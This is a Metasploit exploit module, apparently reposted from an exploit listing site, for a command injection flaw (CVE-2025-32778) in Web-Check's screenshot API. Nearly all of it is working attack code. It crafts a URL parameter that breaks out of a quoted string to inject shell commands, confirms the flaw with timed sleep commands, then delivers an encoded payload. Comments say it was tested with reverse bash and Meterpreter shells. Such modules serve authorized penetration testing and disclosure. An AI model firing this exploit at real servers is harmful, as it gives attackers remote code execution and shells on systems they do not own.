Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-WEB_CHECK_SCREENSHOT_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Web-Check Screenshot API Command Injection RCE',
        'Description' => %q{
          This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
          The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
          allowing command injection via URL query parameters. The vulnerability was patched in commit
          0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.
        },
        'Author' => [
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-32778'],
          ['URL', 'https://github.com/Lissy93/web-check'],
          ['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef']
        ],
        'Platform' => %w[unix linux win],
        'Arch' => [ARCH_CMD],
        'Payload' => {
          'DisableNops' => true,
          'Encoder' => 'cmd/base64'
        },
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Payload' => {
                'Space' => 131068
              }
              # tested with cmd/unix/reverse_bash
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Payload' => {
                'Space' => 2000
              }
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-04-12',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 3000
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/'])
    ])
  end

  def build_url(command = nil)
    return Faker::Internet.url if command.nil?

    param = Faker::Alphanumeric.alphanumeric(number: rand(4..10))
    "http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\""
  end

  def send_screenshot_request(command = nil)
    url = build_url(command)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'),
      'method' => 'GET',
      'vars_get' => { 'url' => url }
    })
  end

  def check
    res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
      send_screenshot_request
    end

    return CheckCode::Unknown("#{peer} - No response from web service") unless res
    return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404

    network_latency = [baseline_elapsed, 0.3].max
    vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
    sleep_tests = [2, 3, 4].map do |duration|
      _, elapsed = Rex::Stopwatch.elapsed_time do
        send_screenshot_request("sleep #{duration}")
      end
      threshold = duration - network_latency
      vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
      { elapsed: elapsed, threshold: threshold }
    end

    passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }

    case passed_tests
    when 2..3
      return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
    when 1
      return CheckCode::Detected('Screenshot API endpoint exists and may be vulnerable')
    end

    return CheckCode::Detected('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')

    CheckCode::Unknown('Could not determine vulnerability status')
  end

  def exploit
    vprint_status('Sending payload via screenshot API')
    send_screenshot_request(payload.encoded)
  end
end